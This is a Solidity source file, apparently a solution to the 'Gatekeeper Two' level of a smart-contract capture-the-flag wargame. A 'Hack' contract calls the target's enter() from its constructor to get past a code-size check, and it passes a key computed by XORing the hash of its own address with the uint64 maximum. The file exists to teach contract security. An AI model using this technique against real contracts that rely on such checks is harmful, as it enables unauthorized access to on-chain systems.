14-gate-keeper-two.sol

//SPDX-License-Identifier: MIT
pragma solidity^0.8;

interface IGateKeeperTwo {
    function entrant() external view returns(address);
    function enter(bytes8) external returns(bool);
}

contract Hack{
    constructor(IGateKeeperTwo contractAddress){
        uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
        uint64 k = type(uint64).max^s;
        bytes8 key = bytes8(k);
        require(contractAddress.enter(key),"failed");
    }
}